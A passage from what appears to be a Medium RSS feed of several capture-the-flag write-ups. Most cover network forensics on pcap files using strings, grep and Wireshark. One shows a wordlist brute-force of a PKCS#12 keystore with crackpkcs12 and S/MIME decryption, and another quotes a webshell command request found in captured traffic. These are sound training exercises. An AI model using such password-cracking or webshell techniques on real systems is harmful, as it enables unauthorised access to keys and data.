href="https://www.facebook.com/manopakorn/">https://www.facebook.com/manopakorn/</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3343c10c132f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[KPMG2022 : Follow%20me?(Network)]]></title>
            <link>https://medium.com/@manop55555/kpmg2022-follow-20me-network-1e4f2d073fad?source=rss-29e16bfdf251------2</link>
            <guid isPermaLink="false">https://medium.com/p/1e4f2d073fad</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[pcap]]></category>
            <category><![CDATA[kpmg]]></category>
            <category><![CDATA[wireshark]]></category>
            <category><![CDATA[network]]></category>
            <dc:creator><![CDATA[manop55555]]></dc:creator>
            <pubDate>Thu, 17 Nov 2022 15:28:26 GMT</pubDate>
            <atom:updated>2022-11-17T15:29:02.647Z</atom:updated>
            <content:encoded><![CDATA[<h3>KPMG2022 : Follow%20me? (Network)</h3><p><strong>SPOILER ALERT</strong> : Hello I’m scriptpit01 !!<br>This is a writeup for the KPMG2022 <em>“</em>Follow%20me<em>”</em><br>which will end up in showing the solution to the problem.<br>Do not read if you don’t want to know the solution<br>before trying to solve it by yourself.</p><p>flag format : KPMG{xxxxxxxxxxxxxxxxxxxxx}</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gUGEpIsRx2tVNdbWXyUaSQ.png" /></figure><h3>Challenge</h3><p>I’m sorry I didn’t capture the picture of the problem.</p><p>This writeup I will show you how to find the flag from PCAP file with strings command only !!</p><h3>Solution</h3><p><strong>(Step error)<br>scriptpi01 </strong>: We will get this .pcap file. <a href="https://drive.google.com/file/d/1B1IFw2j-ZJOmtFXNXN5n8eGa_bu0uyoO/view?usp=sharing">download here!!</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/230/1*Tj9Z1754EpctQRdESmwBNw.png" /></figure><p><strong>scriptpi01 </strong>: First, We will use this command first.</p><pre>strings -n 7 -t x Shoping.pcap | grep KMPG</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/930/1*JCzEeMCZzYxgakJYH4-o1g.png" /></figure><pre>strings -n 7 -t x Shoping.pcap | grep flag</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*egXhgQdHOrSpqfhM7yVCRA.png" /></figure><p><strong>scriptpi01 </strong>: We will get hint from that command.</p><pre>HINT<br><br>*** flag is contained in an upload packet. ***</pre><p><strong>scriptpi01 </strong>: I try to use this command because the problem give me the flag will be url encode and the name of this problem have %20 so I will try.</p><pre>strings -n 7 -t x Shoping.pcap | grep %20</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1Wv0_7wJHVpeHw_Q0H7stQ.png" /></figure><p><strong>scriptpi01 </strong>: Now we got more hint here.</p><pre>HINT<br><br>*** flag is contained in an upload packet. ***<br><br>*** f%20l%20a%20g%20is%20strarting%20with%20&#39;..K&#39; ***</pre><p><strong>scriptpi01 </strong>: The problem tell you about XSS upload file so I will check export object by HTTP first.</p><pre>File &gt;&gt; Export Objects &gt;&gt; HTTP</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QQhs8tmI-17KAwUqjMIWPw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5yYX7uYhIaTegBBIfomxjQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XWlOn53LXTpG39tk1K2NCg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wvXVimUhb7cK1eeLDvnsoA.png" /></figure><p><strong>scriptpi01 </strong>: We will get all of this file from Export Objects by HTTP.</p><p><strong>scriptpi01 </strong>: First, I try to use strings command again to analyze all of this Exported file.</p><pre>strings -n 7 -t x * | grep KPMG  </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_If3VmkrULHbrrQSsyG7tA.png" /></figure><p><strong>scriptpi01 </strong>: Nothing again. : (</p><pre>strings -n 7 -t x * | grep flag</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WR6J5lPxkXdxbIGlkIpDsw.png" /></figure><p><strong>scriptpi01 </strong>: We got more hint here.</p><pre>HINT<br><br>*** flag is contained in an upload packet. ***<br><br>*** f%20l%20a%20g%20is%20strarting%20with%20&#39;..K&#39; ***<br><br>*** flag is contained in malicous upload packet. ***</pre><p><strong>scriptpi01 </strong>: We see the interesting file name flag.png and flag.jpg.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/508/1*WaDm-NoNuquEIfK9EfowqA.png" /></figure><p><strong>scriptpi01 </strong>: So I try to use strings command again.</p><pre>strings -n 7 -t x flag.jpg </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nxsGKPhKtPI8P-x95lEWDA.png" /></figure><pre>strings -n 7 -t x flag.png </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5JSNdelBOHvG1G5Nz8NIyA.png" /></figure><p><strong>scriptpi01 </strong>: There are nothing again.</p><p><strong>scriptpi01 </strong>: I see file name webshell.php I think this will be give me a good information becuase when we did XSS we will got Shell the file interesting name Wheresflag, I think this will give me some hint to get the flag So I will try to use some command so I will use strings command again.</p><pre>strings -n 7 -t x webshell.php%3fcmd=cat+wheresflag.jpg</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NXY4_HmC40NcoJPU4pKOEg.png" /></figure><p><strong>scriptpi01 </strong>: And we got same hint again. : (</p><pre>HINT<br><br>*** flag is contained in an upload packet. ***<br><br>*** f%20l%20a%20g%20is%20strarting%20with%20&#39;..K&#39; ***<br><br>*** flag is contained in malicous upload packet. ***</pre><p><strong>scriptpi01 </strong>: From hint I think we will see the data of upload file.<br>So I will sent all upload file &gt;&gt; upload folder for easy to analyze.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*A4olbGHXf7L4LAh1XTyP6w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QeXzG8biMeHHw0Co6vME8g.png" /></figure><p><strong>scriptpi01 </strong>: I will use strings command again. But from the hint we know flag is start with K so I will try grep K.</p><pre>strings -n 7 -t x * | grep K </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wCHf7ScWVj6GOoa0fn-YxQ.png" /></figure><p><strong>scriptpi01 </strong>: If we scroll down we will get something look like url encoding.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qrBTUEak8t3_snTMsHhPUg.png" /></figure><p><strong>scriptpi01 </strong>: If we bring the message that has been rearranged again, we will get a flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aNL-vS7ZgOGSaqFI_yqCfw.png" /></figure><pre>2eK%2eP%2eM%2eG%2e%7b%2eN%2e3%2eT%2ew%2e0%2eR%2el%2ec%2e_%2ei%2e$%2e_%2e3%2ea%2es%2eY%2e%7d<br><br>hex<br>7b = { <br>7d = }<br><br>KPMG{Hello_Scriptpi01}</pre><blockquote><strong><em>scriptpi01 </em></strong><em>: Finally, we got a flag here !!</em></blockquote><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><p><strong>Little Devil</strong> by myflix</p><pre>.\<br>                        .\   / _\   .\<br>                       /_ \   ||   / _\<br>                        ||    ||    ||<br>                 ; ,     \`.__||__.&#39;/<br>         |\     /( ;\_.;  `./|  __.&#39;<br>         &#39; `.  _|_\/_;-&#39;_ .&#39; &#39;||<br>          \ _/`       `.-\_ / ||      _<br>      , _ _`; ,--.   ,--. ;&#39;_ _|,     |<br>      &#39;`&#39;&#39;\| /  ,-\ | _,-\ |/&#39;&#39;`&#39;  _  |<br>       \ .-- \__\_/ /` )_/ --. /   |  |       _<br>       /    .         -&#39;  .    \ --|--|--.  .&#39; \<br>      |     /             \     |  |  |   \ |---&#39;<br>   .   .  -&#39; `-..____...-&#39; `-  .   |  |    |\  _<br>.&#39;`&#39;.__ `._      `-..-&#39;&#39;    _.&#39;|   |  | _  | `-&#39;      _<br> \ .--.`.  `-..__    _,..-&#39;   L|   |    |             |<br>  &#39;    \ \      _,| |,_      /_7)  |    |   _       _ |  _<br>        \ \    /       \ _.-&#39;/||        | .&#39; \     _| |  |<br>         \ \  /.&#39;|   |`.__.&#39;` ||     .--| |--- _   /| |  |<br>          \ `//_/     \       ||    /   | \  _ \  / | |  |<br>           `/ \|       |      ||   |    |  `-&#39;  \/  | &#39;--|      _<br>            `&quot;`&#39;.  _  .&#39;      ||    `--&#39;|                |   .--/<br>                 \ | /        ||                         &#39;--&#39;<br>                  |&#39;|  mx     &#39;J        Cy@ KPMG2022 ! ;)<br>               .-.|||.-.</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1e4f2d073fad" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[STDiO2022 : ch16— The Stolen KeyStore]]></title>
            <link>https://medium.com/@manop55555/stdio2022-ch16-the-stolen-keystore-eba5d4822c7e?source=rss-29e16bfdf251------2</link>
            <guid isPermaLink="false">https://medium.com/p/eba5d4822c7e</guid>
            <category><![CDATA[certificate]]></category>
            <category><![CDATA[stdio2022]]></category>
            <category><![CDATA[stdio]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[stdio-ctf]]></category>
            <dc:creator><![CDATA[manop55555]]></dc:creator>
            <pubDate>Thu, 10 Nov 2022 16:22:40 GMT</pubDate>
            <atom:updated>2022-11-10T16:30:41.360Z</atom:updated>
            <content:encoded><![CDATA[<h3>STDiO2022 : ch16— The Stolen KeyStore</h3><p><strong>SPOILER ALERT</strong> : Hello I’m scriptpit01 !!<br>This is a writeup for the STDiO2022 <em>“</em>ch16 — The Stolen KeyStore<em>”</em><br>which will end up in showing the solution to the problem.<br>Do not read if you don’t want to know the solution<br>before trying to solve it by yourself.<br>thank you for the challenge, you can download this challenge from <a href="https://drive.google.com/drive/folders/1KtqfonEQSLfiFIZW7Nxi2YPg5tbprJlu?usp=sharing">here</a>.<br>or you can play on this time <a href="https://2600ctf.p7z.pw/challenges">here</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UZG24fb3OtbKaUclmipy_w.png" /></figure><h3>Challenge</h3><p>Let’s Start with this <strong>ch16 — The Stolen KeyStore </strong>challenge.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1004/1*mqiJJDeYMRNAYcphH4JMdA.png" /></figure><h3>Solution</h3><p><strong>(Step Error)<br>scriptpi01 </strong>: After we download the file We will get a total of 2 files as follows:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/402/1*JbqNzl_eBm9hrWdcdpqpDw.png" /></figure><p><strong>scriptpi01 </strong>: We can see flag.txt is encrypted and we can see the keyStore has a .p12 file extension.</p><blockquote>What is P12 File.<br>A p12 file contains a <a href="https://techterms.com/definition/certificate">digital certificate</a> that uses PKCS#12 (Public Key Cryptography Standard #12) encryption. It is used as a portable format for transferring personal private keys and other sensitive information. P12 files are used by various security and encryption programs.<br>credit : <a href="https://fileinfo.com/extension/p12">hello</a></blockquote><p><strong>scriptpi01 </strong>: You can use this command to see data of this file.</p><pre>apt-get install openssl</pre><pre>openssl pkcs12 -info -nodes -in keyStore.p12</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UIC48cj7oYyci0QMa8ydFg.png" /></figure><p><strong>scriptpi01 </strong>: Now we don’t know the password. But we know the hints is</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/870/1*XPqb73tFqBahBR5JCXKHMw.png" /></figure><p><strong>scriptpi01 </strong>: So we will create text file from rockyou.txt that have grep 2600.</p><pre>wordlists</pre><pre>cat rockyou.txt | grep 2600 &gt;&gt; /root/Downloads/ch16_the_stolen_keystore/password.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*clfQDX54ig49tYcEkJDDhA.png" /></figure><p><strong>scriptpi01 </strong>: We will get list of password for brute force now.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*90ozNSM369Tedkd6DxKDWw.png" /></figure><p><strong>scriptpi01 </strong>: We will use crackpkcs12 for brute force the password.<br><strong>scriptpi01 </strong>: This command for install crackpkcs12 :</p><pre>sudo apt install pkg-config<br>sudo apt install pkgconf<br>sudo apt-get install openssl<br>sudo apt-get install libssl-dev</pre><pre>git clone <a href="https://github.com/crackpkcs12/crackpkcs12">https://github.com/crackpkcs12/crackpkcs12</a><br>cd crackpkcs12<br>./configure<br>make<br>sudo make install</pre><p><strong>scriptpi01 </strong>: This command for brute force the password.</p><pre>crackpkcs12 -d password.txt keyStore.p12</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WyUj2QLHr5LzoUaJV6wXqg.png" /></figure><p><strong>scriptpi01 </strong>: The password is *2600atari .</p><p><strong>scriptpi01 </strong>: Now we going to see the data of this file again.</p><pre>openssl pkcs12 -info -nodes -in keyStore.p12</pre><pre>password : *2600</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0E_fGl6sXjrvq6bi7BfWKQ.png" /></figure><blockquote>We should to know<a href="https://serverfault.com/questions/9708/what-is-a-pem-file-and-how-does-it-differ-from-other-openssl-generated-key-file"> <strong>this</strong></a> :</blockquote><blockquote><strong>.pem</strong> — Defined in RFC <a href="https://www.rfc-editor.org/rfc/rfc1422">1422</a> (part of a series from <a href="https://www.rfc-editor.org/rfc/rfc1421">1421</a> through <a href="https://www.rfc-editor.org/rfc/rfc1424">1424</a>) this is a container format that may include just the public certificate (such as with Apache installs, and CA certificate files /etc/ssl/certs), or may include an entire certificate chain including public key, private key, and root certificates. Confusingly, it may also encode a CSR (e.g. as used <a href="https://jamielinux.com/docs/openssl-certificate-authority/create-the-intermediate-pair.html">here</a>) as the PKCS10 format can be translated into PEM. The name is from <a href="https://en.wikipedia.org/wiki/Privacy-enhanced_Electronic_Mail">Privacy Enhanced Mail (PEM)</a>, a failed method for secure email but the container format it used lives on, and is a base64 translation of the x509 ASN.1 keys.</blockquote><blockquote><strong>.key</strong> — This is a (usually) PEM formatted file containing just the private-key of a specific certificate and is merely a conventional name and not a standardized one. In Apache installs, this frequently resides in /etc/ssl/private. The rights on these files are very important, and some programs will refuse to load these certificates if they are set wrong.</blockquote><blockquote><strong>.pkcs12 .pfx .p12</strong> — Originally defined by RSA in the <a href="https://en.wikipedia.org/wiki/PKCS">Public-Key Cryptography Standards</a> (abbreviated PKCS), the “12” variant was originally enhanced by Microsoft, and later submitted as <a href="https://www.rfc-editor.org/rfc/rfc7292">RFC 7292</a>. This is a password-protected container format that contains both public and private certificate pairs. Unlike .pem files, this container is fully encrypted. Openssl can turn this into a .pem file with both public and private keys: <br>openssl pkcs12 -in file-to-convert.p12 -out converted-file.pem -nodes</blockquote><p><strong>scriptpi01 </strong>: So we will convert .p12 file to .pem file for decrypt flag.txt.enc .</p><pre>openssl pkcs12 -in keyStore.p12 -out certificate.pem -nodes</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/216/1*hcuMReUI2FOz-GVXc_2w2g.png" /></figure><p><strong>scriptpi01 </strong>: Finally we should try to decrypt flag.txt.enc with S/MIME from the hints .</p><blockquote>We should to know <a href="https://www.preveil.com/blog/public-and-private-key/"><strong>this</strong> </a>:<br>Public — private key pairs &amp; how they work</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*utYrYEpDiebbjHC0zurP3A.png" /></figure><blockquote>How Does an S/MIME Certificate Work?</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/663/0*4lwRClyXZFOCSw3S.png" /><figcaption><a href="https://sectigostore.com/page/what-is-an-s-mime-certificate/">What Is an S/MIME Certificate and How Does It Work? (sectigostore.com)</a></figcaption></figure><p><strong>scriptpi01 </strong>: A lot of people should try this command.</p><pre>openssl smime -decrypt -in flag.txt.enc -inkey certificate.pem &gt; flag.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6nIdEqJ3ROG4YS4m0JdwoQ.png" /></figure><p><strong>scriptpi01 </strong>: And they will get error because the defult format is for pkcs#7</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ooS-KSlVOqUj7TkJDZrPvw.png" /><figcaption><a href="https://manpages.ubuntu.com/manpages/bionic/man1/smime.1ssl.html">Ubuntu Manpage: openssl-smime, smime — S/MIME utility</a></figcaption></figure><p><strong>scriptpi01 </strong>: We should to use this command.</p><pre>openssl smime -decrypt -inform pem -in flag.txt.enc -inkey certificate.pem &gt; flag.txt</pre><pre><strong>You can use this command too.</strong></pre><pre>openssl smime -decrypt -inform pem -in flag.txt.enc -inkey keyStore.p12 &gt; flag.txt</pre><pre><strong>password : *2600atari </strong></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/140/1*oBQhHTjpb4N-mUPHqho1Mg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*k6eEEfbdB6dIUPcr8i0DmQ.png" /></figure><blockquote><strong><em>scriptpi01 </em></strong><em>: Finally, we got a flag here !!</em></blockquote><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><p><strong>Little Devil</strong> by myflix</p><pre>.\<br>                        .\   / _\   .\<br>                       /_ \   ||   / _\<br>                        ||    ||    ||<br>                 ; ,     \`.__||__.&#39;/<br>         |\     /( ;\_.;  `./|  __.&#39;<br>         &#39; `.  _|_\/_;-&#39;_ .&#39; &#39;||<br>          \ _/`       `.-\_ / ||      _<br>      , _ _`; ,--.   ,--. ;&#39;_ _|,     |<br>      &#39;`&#39;&#39;\| /  ,-\ | _,-\ |/&#39;&#39;`&#39;  _  |<br>       \ .-- \__\_/ /` )_/ --. /   |  |       _<br>       /    .         -&#39;  .    \ --|--|--.  .&#39; \<br>      |     /             \     |  |  |   \ |---&#39;<br>   .   .  -&#39; `-..____...-&#39; `-  .   |  |    |\  _<br>.&#39;`&#39;.__ `._      `-..-&#39;&#39;    _.&#39;|   |  | _  | `-&#39;      _<br> \ .--.`.  `-..__    _,..-&#39;   L|   |    |             |<br>  &#39;    \ \      _,| |,_      /_7)  |    |   _       _ |  _<br>        \ \    /       \ _.-&#39;/||        | .&#39; \     _| |  |<br>         \ \  /.&#39;|   |`.__.&#39;` ||     .--| |--- _   /| |  |<br>          \ `//_/     \       ||    /   | \  _ \  / | |  |<br>           `/ \|       |      ||   |    |  `-&#39;  \/  | &#39;--|      _<br>            `&quot;`&#39;.  _  .&#39;      ||    `--&#39;|                |   .--/<br>                 \ | /        ||                         &#39;--&#39;<br>                  |&#39;|  mx     &#39;J        <strong>Cy@ STDiO2022</strong> ! ;)<br>               .-.|||.-.</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=eba5d4822c7e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[SECUREiNFO2022 : EZ Network Admin Task (Network)]]></title>
            <link>https://medium.com/@manop55555/secureinfo2022-ez-network-admin-task-network-bdc7bbd87a8f?source=rss-29e16bfdf251------2</link>
            <guid isPermaLink="false">https://medium.com/p/bdc7bbd87a8f</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[hackathons]]></category>
            <category><![CDATA[wireshark]]></category>
            <category><![CDATA[network]]></category>
            <category><![CDATA[secureinfo]]></category>
            <dc:creator><![CDATA[manop55555]]></dc:creator>
            <pubDate>Wed, 26 Oct 2022 16:00:08 GMT</pubDate>
            <atom:updated>2022-10-26T16:17:33.601Z</atom:updated>
            <content:encoded><![CDATA[<h3>SECUREiNFO2022 : <strong>EZ Network Admin Task (Network)</strong></h3><p><strong>SPOILER ALERT</strong> : Hello I’m scriptpit01 !!<br>This is a writeup for the SECUREiNFO2022 <em>“</em>EZ Network Admin Task<em>”</em><br>which will end up in showing the solution to the problem.<br>Do not read if you don’t want to know the solution<br>before trying to solve it by yourself.</p><p>flag format : flag{Port Number|Packet Number that has the answer|Time in seconds of the packet with the answer}</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jo8ziKyhU7O7FhZ-8SON_A.png" /></figure><h3>Challenge</h3><p>Let’s Start with this <strong>EZ Network Admin Task </strong>challenge. (100 points)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WV7pIWAGrfDkpTguQrNwRg.png" /></figure><h3>Solution</h3><p><strong>(Step error)<br>scriptpi01 </strong>: We will get this .pcap file. <a href="https://drive.google.com/file/d/1_esM-aPCsr1AXbpEJ1X-zqLWQJtx-8E_/view?usp=sharing">download here!!</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/294/1*tRcUEpYhaATsbBjF4Vfa0w.png" /></figure><p><strong>scriptpi01 </strong>: I will use strings command to see what i should check and find in this .pcap and now we don’t see anything as important.</p><pre>strings -n 7 -t x network_challenge.pcap</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*G-FdLOpgdRN2qvwvUTYDIg.png" /></figure><p><strong>scriptpi01 </strong>: Let’s open in Wireshark.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Exhar_3GfPa0MHN1pC0scw.png" /></figure><p><strong>scriptpi01 </strong>: We will check Protocol Hierarchy.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ivMKXLLBGqOThWKZCwBZ_A.png" /></figure><p><strong>scriptpi01 </strong>: We see a lot of protocol and we can’t choose some protocol.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yXMzWqBdM4sAmo6IFQOJcA.png" /></figure><p><strong>scriptpi01 </strong>: We will check Expert Information.</p><pre>Analyze &gt; Expert Information</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xkfni2U680CzgUORJ9Flzg.png" /></figure><p><strong>scriptpi01 </strong>: We see a lot of package is error or invalid etc… but we will see 1 TCP has connect.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Uo5SuVF_6XOa3XBnwMqKWA.png" /></figure><p><strong>scriptpi01 </strong>: We will see detail that package.</p><pre>Apply as Filter &gt; Selected</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kGsjpCXp9lr6I7tYtPOmcA.png" /></figure><p><strong>scriptpi01 </strong>: Now we get detail of this package.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vuM3sctrK8LOYCYuFvvf-A.png" /></figure><p><strong>scriptpi01 </strong>: We will get flag here.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BHBYelncUwMMDprDtYY7TQ.png" /></figure><pre>flag{Hello_Scriptpi01}</pre><blockquote><strong><em>scriptpi01 </em></strong><em>: Finally, We got a flag here !!</em></blockquote><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><p><strong>Little Devil</strong> by myflix</p><pre>.\<br>                        .\   / _\   .\<br>                       /_ \   ||   / _\<br>                        ||    ||    ||<br>                 ; ,     \`.__||__.&#39;/<br>         |\     /( ;\_.;  `./|  __.&#39;<br>         &#39; `.  _|_\/_;-&#39;_ .&#39; &#39;||<br>          \ _/`       `.-\_ / ||      _<br>      , _ _`; ,--.   ,--. ;&#39;_ _|,     |<br>      &#39;`&#39;&#39;\| /  ,-\ | _,-\ |/&#39;&#39;`&#39;  _  |<br>       \ .-- \__\_/ /` )_/ --. /   |  |       _<br>       /    .         -&#39;  .    \ --|--|--.  .&#39; \<br>      |     /             \     |  |  |   \ |---&#39;<br>   .   .  -&#39; `-..____...-&#39; `-  .   |  |    |\  _<br>.&#39;`&#39;.__ `._      `-..-&#39;&#39;    _.&#39;|   |  | _  | `-&#39;      _<br> \ .--.`.  `-..__    _,..-&#39;   L|   |    |             |<br>  &#39;    \ \      _,| |,_      /_7)  |    |   _       _ |  _<br>        \ \    /       \ _.-&#39;/||        | .&#39; \     _| |  |<br>         \ \  /.&#39;|   |`.__.&#39;` ||     .--| |--- _   /| |  |<br>          \ `//_/     \       ||    /   | \  _ \  / | |  |<br>           `/ \|       |      ||   |    |  `-&#39;  \/  | &#39;--|      _<br>            `&quot;`&#39;.  _  .&#39;      ||    `--&#39;|                |   .--/<br>                 \ | /        ||                         &#39;--&#39;<br>                  |&#39;|  mx     &#39;J        <strong>Cy@ SECUREiNFO</strong> ! ;)<br>               .-.|||.-.<br>              &#39;----&quot;----&#39;</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=bdc7bbd87a8f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TCTT2022 : network-challenge06
(Network Security)]]></title>
            <link>https://medium.com/@manop55555/tctt2022-network-challenge06-network-security-da41a85006d2?source=rss-29e16bfdf251------2</link>
            <guid isPermaLink="false">https://medium.com/p/da41a85006d2</guid>
            <category><![CDATA[ncsa2022]]></category>
            <category><![CDATA[ip]]></category>
            <category><![CDATA[network]]></category>
            <category><![CDATA[ncsa-ctf]]></category>
            <category><![CDATA[tctt2022]]></category>
            <dc:creator><![CDATA[manop55555]]></dc:creator>
            <pubDate>Wed, 19 Oct 2022 12:01:01 GMT</pubDate>
            <atom:updated>2022-10-19T12:01:01.805Z</atom:updated>
            <content:encoded><![CDATA[<h3>TCTT2022 : network-challenge06<br>(Network Security)</h3><p><strong>SPOILER ALERT</strong> : Hello I’m scriptpit01 !!<br>This is a writeup for the TCTT2022 <em>“</em>network-challenge06<em>”</em><br>which will end up in showing the solution to the problem.<br>Do not read if you don’t want to know the solution<br>before trying to solve it by yourself.</p><p>flag format : tctt2022{ipv6 in shortest form}</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vXXW5IsLD6lGD04xIH5QQQ.png" /></figure><h3>Solution</h3><p><strong>(Step Error)<br>scriptpi01 </strong>: First, we have TELECOM-03.pcapng .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/276/1*-15I1VUs9uitZngmQy0vrQ.png" /></figure><p><strong>S<br>olution1</strong></p><p><strong>scriptpi01 </strong>: I will use strings command to see what i should check and find in this .pcap .</p><pre>strings -n 7 -t x TELECOM-03.pcapng\</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/828/1*80TTSVL5cuPgMujkvjxz6w.png" /></figure><p><strong>scriptpi01 </strong>: Now we will see a lot of text that so confuse.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XDN5dbBmC0L8CKFA2_T9HA.png" /></figure><p><strong>scriptpi01 </strong>: Let’s grep flag or Ipv6 format.</p><p><strong>scriptpi01 </strong>: Grep flag.</p><pre>strings -n 7 -t x TELECOM-03.pcapng | grep flag</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yB0h16toQHHrkws1RNOHDg.png" /></figure><p><strong>scriptpi01 </strong>: We got nothing.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rd8qgQKdbqxV1M-OXtCjaw.png" /></figure><p><strong>scriptpi01 </strong>: Grep Ipv6 format.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/279/0*sNrmbC6o5fZEDNQV.png" /><figcaption><a href="https://cdn.ttgtmedia.com/rms/onlineimages/whatis-ipv6_address-h_half_column_mobile.png">https://cdn.ttgtmedia.com/rms/onlineimages/whatis-ipv6_address-h_half_column_mobile.png</a></figcaption></figure><pre>strings -n 7 -t x TELECOM-03.pcapng\ | grep :</pre><p><strong>scriptpi01 </strong>: We got nothing.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ClCYT72GIVjsJrCcCyy94A.png" /></figure><p><strong>scriptpi01 </strong>: Let’s open in Wireshark. We will see something like Boarder gatewat protocal (BGP).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uNuHKBRhQpggJqpBLXomtA.png" /></figure><p><strong>scriptpi01 </strong>: We will se info : KEEPALIVE Message. So I will try to convert that ip.</p><blockquote>KEEPALIVE means</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1008/1*BKBujhjhIBdsuGyd-q3G4Q.png" /><figcaption><a href="https://www.ciscopress.com/articles/article.asp?p=2756480&amp;seqNum=3">BGP Messages &gt; BGP Fundamentals | Cisco Press</a></figcaption></figure><pre>122.57.1.121 (IPv4) to IPv6</pre><p><strong>S<br>olution2</strong></p><p><strong>scriptpi01 </strong>: We can find last connection in Wireshark.</p><pre>Find : Gateway of last resort</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*J-LUWXx713_HlY74jAcrgQ.png" /></figure><p><strong>scriptpi01 </strong>: That 2 solutions you can get the same ip.</p><p><strong>scriptpi01 </strong>: I use this Website for convert IPv4 to IPv6.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wc5KcpoCCsaihwIgkHvPEg.png" /><figcaption><a href="https://iplocation.io/ipv4-to-ipv6/122.57.1.121">IPv4 to IPv6 Converter — IPv4-Mapped IPv6 Addresses (iplocation.io)</a></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*16-mi4qS6_s5jMmc_T3kGQ.png" /></figure><p><strong>scriptpi01 </strong>: And I’m try to answer. We will know that is a flag</p><pre>tctt2022{Hello_Scriptpi01}</pre><blockquote><strong><em>scriptpi01 </em></strong><em>: Finally, We got a flag here !!</em></blockquote><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><p><strong>Little Devil</strong> by myflix</p><pre>.\<br>                        .\   / _\   